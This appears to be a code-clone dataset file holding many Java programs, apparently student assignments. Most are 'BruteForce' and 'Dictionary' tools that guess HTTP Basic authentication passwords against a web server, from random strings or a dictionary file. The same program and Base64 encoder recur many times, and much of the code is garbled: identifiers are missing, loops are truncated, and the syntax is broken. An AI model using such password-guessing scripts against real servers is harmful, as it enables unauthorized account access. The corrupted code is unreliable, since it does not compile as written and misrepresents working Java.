!= null || pword != null) { for(int i=num; i> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } " 183.java," import java.awt.*; import java.awt.event.*; import java.io.*; import java.net.*; public class BruteForce extends Frame implements ActionListener { private TextField tf = new TextField(); private TextArea ta = new TextArea(); public void actionPerformed (ActionEvent e) { String s = tf.getText(); String login=""""; if (s.length() != 0) { char symbol = 'A'; login="":""; for(int i = 0; i < 3; i++) { symbol = (char)(57.0 * Math.random() + 65); if(symbol>90 && symbol<97){ i--; continue; } login=login+symbol; } ta.setText (fetchURL (s,login)); System.out.println(""runing""+login); }while(ta.getText().compareTo(""Invalid URL"")!=0 || ta.getText().compareTo(""Error URL"")!=0); System.out.println(""The password is: ""+login); } public BruteForce() { super (""SEC-CRACK""); add (tf, BorderLayout.LEFT); ta.setEditable(false); add (ta, BorderLayout.CENTER); tf.addActionListener (this); addWindowListener (new WindowAdapter() { public void windowClosing (WindowEvent e) { dispose(); System.exit(0); } }); } private String fetchURL (String urlString,String login) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(); try { URL url = new URL (urlString); String encoding = new url.misc.BASE64Encoder().encode (login.getBytes()); URLConnection uc = url.openConnection(); uc.setRequestProperty (""Authorization"", "" "" + encoding); InputStream content = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println (line); } } catch (MalformedURLException e) { pw.println (""Invalid URL""); } catch (IOException e) { pw.println (""Error URL""); } return sw.toString(); } public static void main(String args[]) { Frame f = new BruteForce(); f.setSize(300, 300); f.setVisible (true); } } class Base64Converter { public static final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode ( String s ) { return encode ( s.getBytes ( ) ); } public static String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } ",258.java," import java.awt.*; import java.util.*; import java.net.*; import java.io.*; import java.*; public class Dictionary { public static void main(String args[]) throws Exception { String urlPath = null; if(args.length > 0) { urlPath = args[0]; System.out.println(""URL "" + urlPath); Dictionary dict = new Dictionary(urlPath); } else{ System.out.println(""Please enter URL at command prompt""); System.out.println(""eg. >java Dictionary http://sec-crack.cs.rmit.edu./SEC/2/""); } System.exit(0); } public Dictionary(String urlPath) throws Exception { linkToWeb(urlPath); } public boolean linkToWeb(String urlPath) throws Exception { HttpURLConnection connection; String word = null; String usrName = """"; String usrNamePwd = null; String encoding = null; URL = new URL(urlPath); BufferedReader inputStream = new BufferedReader(new FileReader(""words"")); word = inputStream.readLine(); while(word != null) { if(word.length() <= 3){ usrNamePwd = usrName +"":""+ word; encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes()); connection = (HttpURLConnection).openConnection(); connection.setRequestProperty(""Authorization"", "" "" + encoding); System.out.println(word); if(connection.getResponseCode() == 200){ System.out.println(""Password Found "" +word); return true; } connection.disconnect(); } word = inputStream.readLine(); } System.out.println(""Password not found"" ); return false; } public class Base64Converter { public final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public String encode ( String s ) { return encode ( s.getBytes ( ) ); } public String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } } " 183.java," import java.awt.*; import java.awt.event.*; import java.io.*; import java.net.*; public class BruteForce extends Frame implements ActionListener { private TextField tf = new TextField(); private TextArea ta = new TextArea(); public void actionPerformed (ActionEvent e) { String s = tf.getText(); String login=""""; if (s.length() != 0) { char symbol = 'A'; login="":""; for(int i = 0; i < 3; i++) { symbol = (char)(57.0 * Math.random() + 65); if(symbol>90 && symbol<97){ i--; continue; } login=login+symbol; } ta.setText (fetchURL (s,login)); System.out.println(""runing""+login); }while(ta.getText().compareTo(""Invalid URL"")!=0 || ta.getText().compareTo(""Error URL"")!=0); System.out.println(""The password is: ""+login); } public BruteForce() { super (""SEC-CRACK""); add (tf, BorderLayout.LEFT); ta.setEditable(false); add (ta, BorderLayout.CENTER); tf.addActionListener (this); addWindowListener (new WindowAdapter() { public void windowClosing (WindowEvent e) { dispose(); System.exit(0); } }); } private String fetchURL (String urlString,String login) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(); try { URL url = new URL (urlString); String encoding = new url.misc.BASE64Encoder().encode (login.getBytes()); URLConnection uc = url.openConnection(); uc.setRequestProperty (""Authorization"", "" "" + encoding); InputStream content = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println (line); } } catch (MalformedURLException e) { pw.println (""Invalid URL""); } catch (IOException e) { pw.println (""Error URL""); } return sw.toString(); } public static void main(String args[]) { Frame f = new BruteForce(); f.setSize(300, 300); f.setVisible (true); } } class Base64Converter { public static final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode ( String s ) { return encode ( s.getBytes ( ) ); } public static String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } ",051.java,"import java.io.*; import java.net.*; import java.*; import java.Runtime.*; import java.Object.*; import java.util.*; import java.util.StringTokenizer; public class Dictionary { String uname = """"; String pword = ""null""; Vector v = new Vector(); int runTime; public void doConnect(String connect, int num) { String = connect; try { URL secureSite = new URL(); URLConnection connection = secureSite.openConnection(); if (uname != null || pword != null) { for(int i=num; i> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } " 183.java," import java.awt.*; import java.awt.event.*; import java.io.*; import java.net.*; public class BruteForce extends Frame implements ActionListener { private TextField tf = new TextField(); private TextArea ta = new TextArea(); public void actionPerformed (ActionEvent e) { String s = tf.getText(); String login=""""; if (s.length() != 0) { char symbol = 'A'; login="":""; for(int i = 0; i < 3; i++) { symbol = (char)(57.0 * Math.random() + 65); if(symbol>90 && symbol<97){ i--; continue; } login=login+symbol; } ta.setText (fetchURL (s,login)); System.out.println(""runing""+login); }while(ta.getText().compareTo(""Invalid URL"")!=0 || ta.getText().compareTo(""Error URL"")!=0); System.out.println(""The password is: ""+login); } public BruteForce() { super (""SEC-CRACK""); add (tf, BorderLayout.LEFT); ta.setEditable(false); add (ta, BorderLayout.CENTER); tf.addActionListener (this); addWindowListener (new WindowAdapter() { public void windowClosing (WindowEvent e) { dispose(); System.exit(0); } }); } private String fetchURL (String urlString,String login) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(); try { URL url = new URL (urlString); String encoding = new url.misc.BASE64Encoder().encode (login.getBytes()); URLConnection uc = url.openConnection(); uc.setRequestProperty (""Authorization"", "" "" + encoding); InputStream content = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println (line); } } catch (MalformedURLException e) { pw.println (""Invalid URL""); } catch (IOException e) { pw.println (""Error URL""); } return sw.toString(); } public static void main(String args[]) { Frame f = new BruteForce(); f.setSize(300, 300); f.setVisible (true); } } class Base64Converter { public static final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode ( String s ) { return encode ( s.getBytes ( ) ); } public static String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } ",059.java," public class Base64Converter { public static final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode ( String s ) { return encode ( s.getBytes ( ) ); } public static String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } " 183.java," import java.awt.*; import java.awt.event.*; import java.io.*; import java.net.*; public class BruteForce extends Frame implements ActionListener { private TextField tf = new TextField(); private TextArea ta = new TextArea(); public void actionPerformed (ActionEvent e) { String s = tf.getText(); String login=""""; if (s.length() != 0) { char symbol = 'A'; login="":""; for(int i = 0; i < 3; i++) { symbol = (char)(57.0 * Math.random() + 65); if(symbol>90 && symbol<97){ i--; continue; } login=login+symbol; } ta.setText (fetchURL (s,login)); System.out.println(""runing""+login); }while(ta.getText().compareTo(""Invalid URL"")!=0 || ta.getText().compareTo(""Error URL"")!=0); System.out.println(""The password is: ""+login); } public BruteForce() { super (""SEC-CRACK""); add (tf, BorderLayout.LEFT); ta.setEditable(false); add (ta, BorderLayout.CENTER); tf.addActionListener (this); addWindowListener (new WindowAdapter() { public void windowClosing (WindowEvent e) { dispose(); System.exit(0); } }); } private String fetchURL (String urlString,String login) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(); try { URL url = new URL (urlString); String encoding = new url.misc.BASE64Encoder().encode (login.getBytes()); URLConnection uc = url.openConnection(); uc.setRequestProperty (""Authorization"", "" "" + encoding); InputStream content = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println (line); } } catch (MalformedURLException e) { pw.println (""Invalid URL""); } catch (IOException e) { pw.println (""Error URL""); } return sw.toString(); } public static void main(String args[]) { Frame f = new BruteForce(); f.setSize(300, 300); f.setVisible (true); } } class Base64Converter { public static final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode ( String s ) { return encode ( s.getBytes ( ) ); } public static String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } ",185.java," import java.awt.*; import java.awt.event.*; import java.io.*; import java.net.*; public class Dictionary extends Frame implements ActionListener { private TextField tf = new TextField(); private TextArea ta = new TextArea(); public void actionPerformed (ActionEvent e) { String s = tf.getText(); String login=""""; try{ BufferedReader bufr = new BufferedReader (new FileReader (""words1.txt"")); String inputLine=""""; if (s.length() != 0) { inputLine = bufr.readLine(); while ((inputLine != null) && (inputLine.length() != 3)) { inputLine = bufr.readLine(); } login="":""+inputLine; ta.setText (fetchURL (s,login)); System.out.println(""runing""+login); }while(ta.getText().compareTo(""Invalid URL"")!=0 || ta.getText().compareTo(""Error URL"")!=0); System.out.println(""The password is: ""+inputLine); } catch(Exception ex){} } public Dictionary() { super (""URL11 Password""); add (tf, BorderLayout.LEFT); ta.setEditable(false); add (ta, BorderLayout.CENTER); tf.addActionListener (this); addWindowListener (new WindowAdapter() { public void windowClosing (WindowEvent e) { dispose(); System.exit(0); } }); } private String fetchURL (String urlString,String login) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(); try { URL url = new URL (urlString); MyAuthenticator = new MyAuthenticator(); String encoding = new url.misc.BASE64Encoder().encode (login.getBytes()); URLConnection uc = url.openConnection(); uc.setRequestProperty (""Authorization"", "" "" + encoding); InputStream content = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println (line); } } catch (MalformedURLException e) { pw.println (""Invalid URL""); } catch (IOException e) { pw.println (""Error URL""); } return sw.toString(); } public static void main (String args[]) { Frame f = new Dictionary(); f.setSize(300, 300); f.setVisible (true); } class MyAuthenticator { String getPasswordAuthentication(Frame f, String prompt) { final Dialog jd = new Dialog (f, ""Enter password"", true); jd.setLayout (new GridLayout (0, 1)); Label jl = new Label (prompt); jd.add (jl); TextField username = new TextField(); username.setBackground (Color.lightGray); jd.add (username); TextField password = new TextField(); password.setEchoChar ('*'); password.setBackground (Color.lightGray); jd.add (password); Button jb = new Button (""OK""); jd.add (jb); jb.addActionListener (new ActionListener() { public void actionPerformed (ActionEvent e) { jd.dispose(); } }); jd.pack(); jd.setVisible(true); return username.getText() + "":"" + password.getText(); } } } class Base64Converter { public static final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode ( String s ) { return encode ( s.getBytes ( ) ); } public static String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } " 033.java," class WebPage { private boolean success = false; private String pageContents= """"; public WebPage() { } public void setSuccess (boolean inSuccess) { success = inSuccess; } public boolean getSuccess() { return success; } public void setPageContents (String inPage) { pageContents = inPage; } public String getPageContents() { return pageContents; } } ",034.java," class LoginAttemptResults { private boolean success = false; private int passwordsTried = 0; public LoginAttemptResults() { } public void setSuccess (boolean inSuccess) { success = inSuccess; } public boolean getSuccess() { return success; } public void setPasswordsTried ( int inPasswordsTried) { passwordsTried = inPasswordsTried; } public int getPasswordsTried() { return passwordsTried; } } " 045.java,"import java.io.*; import java.net.*; import java.text.*; import java.util.*; class BruteForce { String password=""""; int num =401; public static void main (String[] args) { String str=""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""; BruteForce URLcon; int length = 0; String passwd=""""; int t0,t1; if (args.length == 0) { System.err.println ( ""Usage : java BruteForce ""); return; } String username = args[0]; t0=System.currentTimeMillis(); System.out.println ("" "" + new Date()); System.out.println (""Using BruteForce method attack ""+username+""'s password.Please waiting.......""); for (int i=0;i""); return; } String username = args[0]; t0=System.currentTimeMillis(); System.out.println ("" "" + new Date()); System.out.println (""Using Dictionary method attack ""+username+""'s password. Please waiting.......""); try{ BufferedReader in = new BufferedReader(new FileReader(""/usr/share/lib/dict/words"")); while ((passwd=in.readLine())!=null) { URLcon = new Dictionary (passwd,username); if ((URLcon.num)!=401) { t1=System.currentTimeMillis(); System.out.println(""The password: ""+ passwd); double dt =t1-t0; System.out.println(""It took ""+DecimalFormat.getInstance().format(dt/1000)+ "" seconds""); System.out.println (""Finish "" + new Date()); return; } } }catch (FileNotFoundException e){ System.out.println(e); }catch (IOException e){ 